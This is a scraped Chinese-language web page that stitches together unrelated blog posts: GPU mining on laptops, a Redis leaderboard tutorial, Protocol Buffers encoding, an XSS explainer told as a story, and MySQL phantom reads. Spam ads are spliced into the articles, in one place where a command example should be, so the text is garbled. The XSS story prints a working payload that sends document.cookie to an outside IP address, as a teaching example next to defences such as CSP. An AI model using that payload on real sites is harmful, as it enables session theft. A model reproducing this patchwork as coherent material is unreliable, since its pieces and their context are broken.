顯卡持續缺貨,中國加密貨幣礦工現在看上 RTX 3060 遊戲筆電, 挖礦效率意外的高_潭子電動車

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

加密貨幣價格 2017 年崩盤之後,過去三年挖礦熱潮就大幅退燒,甚至還出現不少礦機被丟進垃圾場的照片。隨著去年比特幣、以太幣等加密貨幣再度大漲,AMD 與 NVIDA 桌機顯卡又開始出現短缺的情形,而且是過了半年還一樣,為此中國礦工開始將目標轉向 RTX 3000 系列遊戲筆電,最近就有人分享 RTX 3060 的挖礦測試,效率還相當不錯,看來在桌顯缺貨狀況尚未改善前,新款 RTX 3000 系列筆電搞不好也要面臨短缺現象了。

顯卡持續缺貨,中國加密貨幣礦工現在看上 RTX 3060 遊戲筆電

最近一位 JJJJKQ 中國網友於百度貼吧分享他實測 RTX 3060 Max-P 遊戲筆電的挖礦效率截圖,從數據來看,這顆晶片在挖以太幣(ETH)時效率可說相當不錯,GPU 算力為 48.99MH/s,溫度在 66 度上下。另外從配置來看,他有超頻 RTX 3060 Max-P,並不是以基礎效能下去挖礦:

GPU-Z 顯示,GPU 時脈為 1567.0MHz,記憶體時脈也來到 2125.2MHz,功耗為 104.7W:

就規格來說,RTX 3060 Max-P 行動顯示晶片跟 RTX 3060 桌顯比,TDP 雖然比較低(行動版 80W~130W、桌機 170W),不過 CUDA 核心 RTX 3060 Max-P 較多,來到 3,840 個,RTX 3060 桌顯則是 3,584 個,這也是為什麼拿來挖以太幣也能有不錯表現。

另外目前他測試的 RTX 3060 Max-P 功耗被限制在 104.7W,意味著如果提升到最高的 130W,挖礦效率應該還會更好。

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

RTX 3060 預計在 2 月下旬上市,還有半個多月的時間,因此在這之前,RTX 3000 系列筆電搞不好會先被礦工們掃購,導致缺貨的狀況出現,而且這討論串的回應中也有人提到,已經有 RTX 3060 筆電開始漲價了。

話說回來,筆電還是不太適合這樣長時間高速運轉,很容易導致內部硬體過熱燒壞。

資料來源:中國百度貼吧

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

【Redis面試題】如何使用Redis實現微信步數排行榜?_如何寫文案

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

1. 前言

之前寫過一篇博客,講解的是Redis的5種數據結構及其常用命令,當時有讀者評論,說希望了解下這5種數據結構各自的使用場景,不過一直也沒來得及寫。

碰巧,在3月份找工作面試時,有個面試官先問了我Redis有哪幾種數據結構,在我講完后,面試官又問了我以下問題:

如何用Redis實現微信步數排行榜?

相信很多小夥伴都知道,可以使用Redis的有序集合ZSET來實現,本篇博客就基於此面試題,來講解下ZSET的使用場景,以及微信步數排行榜的大致實現思路。

2. ZSET的使用場景

ZSET的經典使用場景是用來實現排行榜,舉幾個常見的例子,比如百度熱榜、微博熱搜榜、以及我們每天都用到的微信步數排行榜:

3個場景的實現思路基本一致,接下來,我們以微信步數排行榜為例,了解下如何使用Redis的ZSET,實現微信步數排行榜。

3. 微信步數排行榜的大致實現思路

注意事項:本文的重點是Redis的ZSET的使用,因此只是分析了微信步數排行榜的大致實現思路,實際實現肯定比文中分析的複雜的多。

首先,我們來分析下微信步數排行榜的需求:

  1. 排行榜是以日期為單位的,歷史日期的排行榜是可以查看的
  2. 排行榜可能並不會显示所有好友的步數,比如我的微信有349位好友,但排行榜從來沒有显示過這麼多,假設最多只显示步數前200的好友
  3. 步數是異步更新的,所以每隔一段時間步數同步后,排行榜都會變化
  4. 排行榜中,好友頭像和微信昵稱可以理解為不變的(變動的幾率小,就像熱搜榜中的標題和Url),但步數和點贊數是可變的

基於以上分析的需求,大致實現思路如下:

  1. 使用Redis的ZSET數據結構

  2. 設置key時,基於微信號和日期,比如我的微信是zwwhnly,今天的日期是2020-06-01,那麼key就可以設計為:StepNumberRanking:zwwhnly:20200601

  3. 設置value時,將好友的昵稱作為成員member,將好友的步數作為分值score,如下所示:

  4. 使用Redis的HASH數據結構,其中key為第2步的key+第3步的成員member,value分別存儲好友頭像、昵稱、步數、點贊數,如下所示:

  5. 獲取微信步數排行榜時,分為以下2步:

    1)先查詢出微信步數排行榜中的好友昵稱,也就是查詢StepNumberRanking:zwwhnly:20200601的值

    2)根據獲取到的好友昵稱,查詢好友步數信息,也就是查詢StepNumberRanking:zwwhnly:20200601:yst的值

4. 使用到的Redis命令

上面分析出了大致的實現思路,接下來我們講解下使用到的Redis命令。

4.1 ZADD

執行如下命令初始化微信步數排行榜,以上面圖片中的9個好友為例,分2次初始化:

ZADD StepNumberRanking:zwwhnly:20200602 25452 yst 23683 zq 23599 ljx 20391 yyq 19628 XxZz

ZADD StepNumberRanking:zwwhnly:20200602 18261 lxx 16636 zcc 16555 clc 16098 fl

執行完的效果如下圖所示:

可以看到,默認是以score正序排列的,也就是步數從少到多排列。

4.2 HMSET

因為展示步數排行榜時,需要展示昵稱、頭像、步數、點贊數,所以可以藉助於Redis的HASH 數據結構來存儲,這時就要用到HMSET命令:

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務?A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌,撰寫廣告文案都是必須的工作。

執行完的效果如下圖所示:

4.3 ZINCRBY

每隔一段時間,好友的步數是會更新的,此時可以使用ZINCRBY命令來更新好友步數,假設我們只更新步數位於前2位好友的步數,給他們的步數增加10,就可以執行以下命令:

ZINCRBY StepNumberRanking:zwwhnly:20200602 10 yst

ZINCRBY StepNumberRanking:zwwhnly:20200602 10 zq

執行完的效果如下圖所示:

更新完排行榜里的步數后,不要忘記執行HMSET命令更新好友的步數:

4.4 HINCRBY

當我們在步數排行榜里給好友點贊時,可以使用HINCRBY命令,把上圖中的likeNum加1:

HINCRBY StepNumberRanking:zwwhnly:20200602:zq likeNum 1

4.5 ZRANGE

在所有的數據就緒后,剩下的就是查詢了,我們可以使用ZRANGE命令獲取排行榜里的好友信息:

ZRANGE StepNumberRanking:zwwhnly:20200602 0 -1

可以看出,查詢出的好友信息是按步數從少到多排序的,而排行榜應該按步數從多到少排序,這就用到了下面的ZREVRANGE命令。

4.6 ZREVRANGE

ZREVRANGE命令和ZRANGE命令類似,不過是按score倒序的,剛好符合排行榜的場景。

比如執行命令:

ZREVRANGE StepNumberRanking:zwwhnly:20200602 0 -1 WITHSCORES

可以看出,查詢出的好友信息按步數從大到小排序,剛好就是在排行榜要展示的順序。

不過,排行榜一般都不展示所有的數據,這裏我們的數據比較少,如果只獲取步數top5的好友,就可以執行如下命令:

ZREVRANGE StepNumberRanking:zwwhnly:20200602 0 4 WITHSCORES

如果你要獲取top200,就將上面的4修改為199。

4.7 HGETALL

獲取到了排行榜里的好友信息,最後一步就是獲取這些好友的步數、點贊數、頭像、昵稱這些信息,也就是我們之前使用HASH數據結構存儲的信息,此時我們可以使用HGETALL命令,如下所示:

HGETALL StepNumberRanking:zwwhnly:20200602:yst

如果對這些命令不是很熟悉,可以看下我之前發布的一篇博客:Redis系列(二):Redis的5種數據結構及其常用命令。

5. 總結

Redis的ZSET數據結構非常適合用在排行榜的場景,比如百度熱搜、微博熱搜榜、遊戲排行榜、微信步數排行榜,面試官肯定不會問你ZSET都有哪些命令,每個命令的細節等等,但問你如何使用Redis實現微信步數排行榜,就可以了解到你對Redis數據結構的掌握程度。

所以,學習好Redis的5種數據結構的基礎很重要,但更重要的是要知道這些數據結構如何使用,每種數據結構用在什麼場景最為合適,畢竟要學以致用嘛。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。

Protocol Buffers工作原理_網頁設計公司

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

這裏記錄一下學習與使用Protocol Buffer的筆記,優點缺點如何使用這裏不再敘述,重點關注與理解Protocol Buffers的工作原理,其大概實現。

我們經常使用Protocol Buffer進行序列化與反序列化。理解Protocol Buffer的工作原理,就要理解序列化與反序列化。

  • 序列化:將數據結構或對象轉換為二進制串的過程;
  • 反序列化:序列化的逆過程;

如何實現呢?核心有兩點:編碼 + 存儲。數據在計算機間通過網絡進行傳輸時,傳輸的是比特流,只有0和1,並沒有你所定義的各種類對象等,你如果想將一個類對象傳輸到對方,怎麼辦呢?字符是用過ASCII碼編碼的,這裏也可以設計一套編碼方案來對類似類對象這種數據進行編碼,只要對方收到后能正確的解碼就可以了。編碼后還要確定編碼后的數據存儲方式,這樣字節流才是有意義的字節流,這樣才能知道讀取的字節流有什麼含義,代表什麼。

好了,我們看一下Protocol Buffer是如何編碼和存儲的。

Protocol Buffer是如何編碼的

Varint編碼

Varint編碼是一種變長的編碼方式,核心思想是對數值越小的数字,用越少的字節數表示,這樣可以減少数字的字節數,進行數據壓縮。

舉個例子:對int數據類型,一般需要4個字節來表示,而實際上,對與數值較小的数字而言,無需這麼多字節,00000000 00000000 00000000 01111111 | 127,只需要一個字節就能表示,前面3個字節意義不大,浪費了許多空間。

當然,這種編碼並不是所有情況下都會變小,當數值非常大時,所需的字節會增多,但因為大多數情況下數值小的数字遠比數值大的多,所以整體看來,數據是被壓縮了的。

具體的,Varint編碼時,對每個字節的最高位賦予特殊含義:

  • 1:表示後序的字節也是該数字的一部分;
  • 0:表示這是最後一個字節,且剩餘7bit都用來表示数字(所以Varint解碼時,如果讀到最高位為0的字節時,就表示已經是Varing的最後一個字節);

因為每個字節的最高位都被佔用,用來表示特殊的含義,所以,當數值非常大時,原有的字節數就不夠用了,所以編碼時要增加字節數。

可以參考下圖加深理解:

編碼示例:

解碼示例:

還有一個問題:就是負數時怎麼辦?計算機中數值用補碼形式表示和存儲(負數在計算機中往往用最位1來表示負數,0表示正數,負數的補碼最高位為1),那按Varint編碼方式所有的負數都需要增加一個字節表示,這是不能被接受的,解決方法便是下面要講的zigzag編碼。

Zigzag編碼

Zigzag編碼是一種變長的編碼方式。zigzag按絕對值升序排列,將整數hash成遞增的數值序列,哈希函數為h(n)=(n<<1)^(n>>31),對應地long型(64)位的哈希函數為h(n)=(n<<1)^(n>>63)

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

n hex h(n) zigzag(hex)
0 00 00 00 00 00 00 00 00 00
-1 ff ff ff ff 00 00 00 01 01
1 00 00 00 01 00 00 00 02 02
-2 ff ff ff fe 00 00 00 03 03
2 00 00 00 02 00 00 00 04 04

可以看到,zigzag編碼將正數和負數重新映射為遞增的無符號數,其主要目的就是使絕對值小的數值映射為小的無符號數,已方便後序壓縮字節。

zigzag編碼還有很多細節,比如為了保證編碼的唯一可譯性,需對哈希值進行前綴碼編碼,這裏不再細述。

解碼為編碼的逆,首先將zigzag編碼還原成哈希值,然後用哈希函數h的逆h’(n)=(n>>>1)^-(n&1)得到原始整數值。

這裏只重點講Varint編碼和Zigzag編碼,像string、double等類型這裏不再描述,可參考文後的參考文檔。

T-L-V的數據存儲方式

T:tag,L:length,V:value。以標識-長度-字段值表示單個數據,最終將所有數據拼接成一個字節流,從而實現數據存儲的功能。

其中Length可選存儲,如存儲Varint編碼數據就不需要存儲Length,因為可根據每個字節最高bit位來判斷這個字節是不是該數據段的最後一個字節。

這裏重點說一下Tag。Tag用來標識字段,通過Tag能獲知這段字節流是屬於什麼類型數據的,其定義為:Tag = (field_number << 3) | wire_type
。這樣,解包時就可根據tag將value對應消息中的字段。

Tag佔用一個字節的長度(如果標識號超過了16,則多佔用一個字節的位置,原因是field_number左移了3位,編碼方式為Varint&Zigzag,編碼的時候一個字節不夠用了)。

message ChannelDataAck {
    bytes uuid = 1;     //這裏的1 、2就是field_number
    uint32 result = 2;  
}

Tag(字段標識號)在序列化和反序列化過程中非常重要。舉一個應用中非常常見的例子,在需要對原有結構進行增減字段的時候,同樣一個結構體定義,新版本代碼中對其增加了一個字段,那當新版本代碼序列化后給原有舊版本反序列化解析的時候,因為舊的沒有那個新增的字段,所以在解析時只解析自己有的字段,沒有的不進行解析,這樣舊的代碼依舊能從新字節流中解析出舊數據結構。那舊的數據結構的數據解析為新數據結構時,因為沒有新字段的數據,解析為新數據時該字段置為默認值。這樣就能保證兼容性,對協議升級較為友好。

可以看到通過T-L-V的數據存儲方式,能夠較好的解決字段不完全匹配時的如何解析的問題。

序列化 & 反序列化過程

序列化過程如下:

  1. 判斷每個字段是否有設置值,有值才進行編碼.
  2. 根據字段標識號&數據類型將字段值通過不同的編碼方式進行編碼.

反序列化過程如下:

  1. 解析從輸入流讀入的二進制字節數據流.
  2. 將解析出來的數據按照指定的格式讀取到C++、Rust等對應的結構類型中.

到這裏,基本把Protocol Buffers的工作原理簡單梳理了一遍,其他技術細節待以後再深究。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎?機會是留給努力改變現況的人們,別再浪費一分一秒可以接觸商機的寶貴時間!

一個神秘URL釀大禍,差點讓我背鍋!_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

神秘URL

我叫小風,是Windows帝國一個普通的上班族。上一回說到因為一個跨域請求,我差點丟了飯碗,好在有驚無險,我的職場歷險記還在繼續。

“叮叮叮叮~~~~”,鬧鐘又把我給吵醒了,我一看時間竟然已經這麼晚了。

我趕緊起身,準備要去上班,好不容易在那家瀏覽器公司謀了個差事,可不敢遲到。

今天又是普通的一天,很快就到了深夜,上網業務少了,我和小雪妹子一合計,夥同負責網絡連接的老白和負責存儲的小黑,一起打起了麻將。

一連打了幾圈,正在興頭上,公司的美女前台跑了過來,“你們幾個別玩了,上網業務來了。老白,這是URL,給”

我瞅了一眼這URL,看上去有些奇怪,不僅比之前見過的都長,貌似還夾雜着一些JavaScript代碼。

http://zone.oo.com/user/info.jsp?desc=”/><script>$(“body”).append(“<img src=’http://192.168.59.129?c=”+escape(document.cookie) + “‘>”)</script><!–

“老白,這URL長的好奇怪?會不會有什麼問題?”,我向老白問到。

“嗨,你小子就是新來的,我見過的URL比你執行過的JS代碼都多,什麼奇形怪狀的沒見過,大驚小怪”,老白不屑一顧。

“大家把牌蓋着,都別看,忙完了回來咱接着打”,老白繼續說到。

於是大家各歸各位,準備處理這一單上網業務。

很快,老白取回了這個URL背後的網頁,交給了小雪來解析渲染。

小雪做了一半,叫住了我:“風哥,又有 <script> 標籤了,該你上了”。

我接過小雪手裡的網頁,猛地一看,這不是剛剛URL裏面出現的代碼嗎?怎麼又跑到網頁裏面去了?

心裏突然湧上一種不好的預感,正在困惑之中,老白催我了,“小雪小風你倆趕緊的,網頁加載半天了還沒显示出來!”

但願是我多想了,我開始執行這 <script> 標籤中的代碼了。

<script>
  $("body").append("\<img src='http://192.168.59.129:10086?c=" 
  + escape(document.cookie) + "'>")
</script>

我要創建一個新的 <img> 標籤,添加到網頁正文中去。看了一下這個圖片的來源,是一個新的地址,再一看,還要把當前網站的Cookie帶着作為參數才能拿到這個圖片。

我來到小黑的存儲倉庫,準備向他索要Cookie。

當我表明來意以後,小黑也顯得有些謹慎,“按照公司規定,一個網站的Cookie是不能隨便給別的網站訪問的

“這我當然知道,不過現在是這個網站的JS代碼主動把Cookie取出來發給別人,這不算違反公司規定吧”,我解釋到。

小黑鄒着眉頭想了一想,也就同意了。

我拿到cookie后,構建了一個完整的 <img> 標籤添加到了網頁的DOM樹中,之後還給小雪繼續渲染。

網頁很快渲染完成展示出來了,忙完之後我們繼續開始未完的牌局。

過了一會兒,人類終於關掉了瀏覽器,我們也可以下班了······

XSS跨站腳本攻擊

第二天一早,我剛到公司,小雪妹子就轉過頭告訴我:“風哥,主管讓你去趟他的辦公室,他好像不太高興,你當心點”

“你知道是什麼事情嗎?”

“我也不太清楚,只聽說你執行了什麼錯誤的JavaScript代碼”

我心裏一緊,感覺大事不妙,難道是昨晚那奇怪的代碼有什麼問題?

來到主管的辦公室,見裏面坐了一個年輕小哥。我輕輕的敲了敲門問到:“主管,您找我有事?”

主管見我到來,指着旁邊的沙發示意我也坐下。

“你闖禍了知道嗎?”,領導扔給我一頁文件。

我拿起文件一看,上面赫然寫着我昨晚執行那段奇怪的JavaScript代碼。

“主管,我不太清楚,這是有什麼問題嗎?”,我小聲問道。

主管指着旁邊那個年輕小哥說到:“這位是OO空間網站的負責人,讓他告訴你吧”

小哥點了點頭說到:“是這樣的,我們發現有人盜用我們網站的Cookie,免登錄直接訪問了進去,經過日誌排查,發現是你們這裏把Cookie泄露的,所以想過來了解一下情況”

“這段代碼是你們網站自己的,我只是完成我的工作執行了它而已啊”,我開始有些緊張了。

“可是我們網站根本沒有這段代碼,也不可能把Cookie就這樣發給別人的”,這小哥也爭辯道。

辦公室的氣氛變得有些緊張,現場陷入了短暫的安靜。

就在此時,年輕小哥出去接了一個電話。

片刻之後,小哥再次回到辦公室,臉色突然和緩了許多,笑着說到:“不好意思,剛剛接到同事的電話說,他們已經排查出了問題,是我們網站對URL中的參數沒有檢查,直接寫入了網頁中,被人利用傳入了JS代碼。跟你們應該沒有關係,實在是抱歉”

聽完,我鬆了一口氣,差點就要背鍋了。

回到工位,我把事情的經過告訴了大夥。

小雪聽后吐槽:“那些奇奇怪怪的URL就別亂點嘛,真是給我們添亂”

“你看你看,我昨晚上就覺得有些不對勁。這壞蛋手段挺高啊,能想出這麼個損招,咱們給這種攻擊方式取個名字吧”,小黑說到,“叫Cross Site Script攻擊怎麼樣?”

老白點了點頭,“跨站腳本攻擊,嗯,總結很到位,那就簡稱CSS吧!”

小雪一聽轉過頭來,“你叫CSS,那我的層疊樣式表豈不是要改名讓賢?”

老白撓了撓頭,有些不好意思,“哦,忘了這一茬。那改一下,叫XSS,這總可以了吧?”

我們都點了點頭,就這麼定了。

XSS Auditor

雖然這一次的事情責任不在我們瀏覽器,不過我一直還是有些后怕。

這天晚上,我又仔細回憶了那天整個事情的經過

突然腦子里靈光一閃,發現一個重要的特點

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

既然JS代碼同時出現在了請求的URL中和響應的網頁中,何不利用這個特點來進行針對性攔截呢?

越想越難入睡,連夜寫起了方案。

第二天,來到公司,打算將昨晚的方案彙報給主管,掙一下錶現。

我再次來到主管辦公室,主管見是我,招呼道:“小風啊,來來來,剛好找你有點事”

我快步走了進去,只見主管又拿出了一疊文件放在我的面前,隨後說到:“這是我搞到的絕密資料,是咱們隔壁Chrome瀏覽器公司的一個叫XSS Auditor的技術,據說可以阻止類似上次的攻擊事件,你抽空研究一下”

我腦子一懵,趕緊快速瀏覽了這份文件,沒想到居然跟我的方案撞到一塊兒了,而且比我想的還全面細緻。我只好悄悄收起了原來準備彙報的方案······

幾天後,主管宣布我們也要用上這種技術,增強咱們瀏覽器的安全性。

存儲型XSS

“聽說了嗎?隔壁Chrome瀏覽器公司也發生XSS攻擊了”,一天中午,老白神神秘秘的說到。

我一聽來了精神,“不是有XSS Auditor嗎,怎麼還會發生這種事?”

“這回那些壞蛋換招了,他們沒有把JS代碼放在URL中,XSS Auditor自然是發覺不了了”

“不在URL中,那放哪裡了?”

“聽說是存在了數據庫里,訪問網頁的時候從數據庫里讀取出來后,直接給填充到了網頁上了,喏,就像這樣”,老白說完畫了一個圖。

“對了,他們藉此機會把XSS攻擊分成了兩種,以前那種直接通過URL把JS代碼注入進網頁的方式叫做反射型XSS,這一次這種叫存儲型XSS”,老白繼續說到。

我看了老白的圖一下就明白了,“這一招也太狠了,存進了網站的數據庫里,所有人訪問頁面都得中招”

“可不是咋的,OO空間網站那邊已經亂成一鍋粥了,正在內部整頓,對所有的輸入進行全面的檢查過濾,防止JS代碼混進去。”

“這種事情還是得他們網站自己做好檢查,咱們瀏覽器也幫不上什麼忙”,一旁的小黑也插了一嘴。

大家七嘴八舌聊了幾句就散了。

雖然小黑說的也沒錯,不過上次的方案撞車,我一直不太服氣,這一次機會來了,我要是能再想出一套方案,能把這次的新型XSS一併解決的話,那就揚眉吐氣了。

之後一段時間,一有閑暇我就開始思考這個問題,卻一直沒什麼進展。

CSP

這一天中午,沒什麼工作要忙,我又想起了這個問題,小雪他們又組織打麻將,我沒有心思便拒絕了。

老白聞訊過來,說到:“小風,你還在想那個問題啊,你這两天沒看新聞嗎,W3C標準化組織推出了一個新技術,已經把這個問題解決了!”

老白的話如當頭一棒,“什麼技術?怎麼解決的?”

“你看你,天天關起門來研究,都不知道外面的世界變化有多快。你去了解一下,好像叫什麼Content Security Policy,哦對,就是這個,簡稱叫CSP

我趕緊去打聽了這個叫CSP的新技術,看完直拍大腿,我怎麼就沒想到。

CSP規定了一個叫Content-Security-Policy的信息,網站通過這個信息告訴瀏覽器哪些外部資源可以加載和執行。這個信息可以用HTTP頭的形式出現,像這樣:

也可以通過 <meta> 標籤出現,像這樣:

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

至於裏面的內容,則是將所有可能出現外部資源加載的地方進行了指示,瀏覽器拿到它就能知道能去哪些地址加載對應的資源,如果資源所在的地址不在名單之內就拒絕加載:

- script-src:外部腳本
- style-src:樣式表
- img-src:圖像
- media-src:媒體文件(音頻和視頻)
- font-src:字體文件
- object-src:插件(比如 Flash)
- child-src:框架
- frame-ancestors:嵌入的外部資源
- connect-src:HTTP 連接(通過 XHR、WebSockets、EventSource等)
- worker-src:worker腳本
- manifest-src:manifest 文件

比如 img-src的內容是self,那所有的 <img> 標籤的src屬性必須是在當前網站才行,如果加載其他地址的圖片就會拒絕。

不僅如此,還提供了一個叫report-uri的字段,字段內容是一個服務器地址,瀏覽器發現有不符合規定的資源加載后,除了拒絕加載還可以把這一情況報告給這個地址,網站就能及時知道預警了。

真是完美的解決方案!沒想到,竟然這麼多競爭對手都已經用上了這項技術

當天下午,我就拉着老白去到領導辦公室,說服他將這項技術在咱們公司也用起來。

煩人的XSS攻擊總算是緩解了不少,我們也難得度過了一段時間的太平日子。

未完待續······

彩蛋

太平的日子沒有太持久,那件事之後半個月,我又因為執行一段JS代碼霸佔CPU太久,被帝國安全警衛隊勒令我們瀏覽器公司強制關閉。

執行JavaScript這份工是越來越不好打了。

預知後事如何,請關注後續精彩······

往期熱門回顧

因為一個跨域請求,我差點丟了飯碗

就為了一個原子操作,其他CPU核心都罷工了

完了!CPU一味求快出事兒了!

可怕!CPU竟成了黑客的幫凶!

哈希表哪家強?幾大編程語言吵起來了!

震撼!全網第一張源碼分析全景圖揭秘Nginx

一個整數+1引發的災難

一網打盡!每個程序猿都該了解的黑客技術大匯總

DDoS攻擊:無限戰爭

一個Java對象的回憶錄:垃圾回收

誰動了你的HTTPS流量?

路由器里的廣告秘密

一個HTTP數據包的奇幻之旅

我是一個流氓軟件線程

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

【大廠面試03期】MySQL是怎麼解決幻讀問題的?_租車

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司,除了模組化的架站軟體,我們的營業主軸還包含:資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

問題分析

首先幻讀是什麼?

根據MySQL文檔上面的定義

The so-called phantom problem occurs within a transaction when the same query produces different sets of rows at different times. For example, if a SELECT is executed twice, but returns a row the second time that was not returned the first time, the row is a “phantom” row.

幻讀指的是在一個事務內,同一SELECT語句在不同時間執行,得到不同的結果集時,就會發生所謂的幻讀問題。

可以看看下面的例子:

這是網上找的一張圖(事務的務字寫錯了,不過不影響我們理解)

假設這個例子中的MySQL的隔離級別是提交讀,也就是一個事務內可以讀到其他事務提交后的結果。

那麼事務1第一次查詢dept表中所有部門時,結果是沒有”研發部”,但是由於隔離級別是提交讀,在事務2插入“研發部”這一行數據后,並且提交后,事務1是可以讀取到的,所以第二次查詢時,結果集中會有“研發部”。這就是幻讀。

SELECT語句分類

首先我們的SELECT查詢分為快照讀和實時讀,快照讀通過MVCC(併發多版本控制)來解決幻讀問題,實時讀通過行鎖來解決幻讀問題。

快照讀

1.1 快照讀是什麼?

因為MySQL默認的隔離級別是可重複讀,這種隔離級別下,我們普通的SELECT語句都是快照讀,也就是在一個事務內,多次執行SELECT語句,查詢到的數據都是事務開始時那個狀態的數據(這樣就不會受其他事務修改數據的影響),這樣就解決了幻讀的問題。

1.2 那麼innodb是怎麼解決快照讀的幻讀問題的?

快照讀就是每一行數據中額外保存兩個隱藏的列,插入這個數據行時的版本號,刪除這個數據行時的版本號(可能為空),滾動指針(指向undo log中用於事務回滾的日誌記錄)。

事務在對數據修改后,進行保存時,如果數據行的當前版本號與事務開始取得數據的版本號一致就保存成功,否則保存失敗。

當我們不顯式使用BEGIN來開啟事務時,我們執行的每一條語句就是一個事務,每次開始事務時,會對系統版本號+1作為當前事務的ID。

1.2.1插入操作

插入一行數據時,將事務的ID作為數據行的創建版本號。

1.2.2刪除操作

執行刪除操作時,會將原數據行的刪除版本號設置為當前事務的ID,然後根據原數據行生成一條INSERT語句,寫入undo log,用於事務執行失敗時回滾。delete操作實際上不會直接刪除,而是將delete對象打上delete flag,標記為刪除,最終的刪除操作是purge線程完成的。但是會將數據行的刪除版本號設置為當前的事務的ID,這樣後面的事務B即便查到這行數據由於事務B的ID>刪除版本號,也會忽略這條數據。

1.2.3更新操作

更新時可以簡單的認為是先將舊數據刪除,然後插入一條新數據。

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

日本、大陸,發現這些先進的國家已經早就讓電動車優先上路,而且先進國家空氣品質相當好,電動車節能減碳可以減少空污

所以執行更新操作時,其實是會將原數據行的刪除版本號設置為當前事務的ID,生成一條INSERT語句,寫入undo log,用於事務執行失敗時回滾。插入一條新的數據,將事務的ID作為數據行的的創建版本號。

1.2.4查詢操作

數據行要被查詢出來必須滿足兩個條件,

  • 數據行刪除版本號為空或者>當前事務版本號的數據(否則數據已經被標記刪除了)

  • 創建版本號<=當前事務版本號的數據(否則數據是後面的事務創建出來的)

簡單來說,就是查詢時,

  • 如果該行數據沒有被加行鎖中的X鎖(也就是沒有其他事務對這行數據進行修改),那麼直接讀取數據(前提是數據的版本號<=當前事務版本號的數據,不然不會放到查詢結果集裏面)。
  • 該行數據被加了行鎖X鎖(也就是現在有其他事務對這行數據進行修改),那麼讀數據的事務不會進行等待,而是回去undo log端裏面讀之前版本的數據(這裏存儲的數據本身是用於回滾的),在可重複讀的隔離級別下,從undo log中讀取的數據總是事務開始時的快照數據(也就是版本號小於當前事務ID的數據),在提交讀的隔離級別下,從undo log中讀取的總是最新的快照數據。

1.3 補充資料:undo log段是什麼?

undo_log是一種邏輯日誌,是舊數據的備份。有兩個作用,用於事務回滾和為MVCC提供老版本的數據。

可以認為當delete一條記錄時,undo log中會記錄一條對應的insert記錄,反之亦然,當update一條記錄時,它記錄一條對應相反的update記錄。

1.3.1.用於事務回滾

當事務執行失敗,回退時,會讀取這行數據的滾動指針(指向undo log中用於事務回滾的日誌記錄),就可以在undo log中找到相應的邏輯記錄,讀取到相應的回滾語句,執行進行回滾。

1.3.2.為MVCC提供老版本的數據

當讀取的某一行被其他事務鎖定時(也就是有其他事務正在改這行數據),它可以從undo log中分析出該行記錄以前的數據是什麼,從而提供該行版本信息,讓用戶進行快照讀。在可重複讀的隔離級別下,從undo log中讀取的數據總是事務開始時的快照數據(也就是版本號小於當前事務ID的數據),在提交讀的隔離級別下,從undo log中讀取的總是最新的快照數據(也就是比正在修改這行數據的事務ID修改前的數據。)。

實時讀

2.1實時讀是什麼?

如果說快照讀總是讀取事務開始時那個狀態的數據,實時讀就是查詢時總是執行這個查詢時數據庫中的數據。

一般使用以下這兩種查詢語句進行查詢時就是實時讀。

SELECT *** FOR UPDATE 在查詢時會先申請X鎖SELECT *** IN SHARE MODE 在查詢時會先申請S鎖

首先看一個實時讀產生幻讀的案例:

這是《MySQL技術內幕++InnoDB存儲引擎++第2版》裏面的一張圖,就是先將隔離級別設置為提交讀,這樣第一次執行 SELECT...FOR UPDATE查詢出來的數據是a:4,事務B插入了一條新的數據,再次執行 SELECT...FOR UPDATE語句時,查詢出來就是a:4,a:5兩條數據,這就是幻讀的問題。

2.1那麼innodb是怎麼解決實時讀的幻讀問題的?

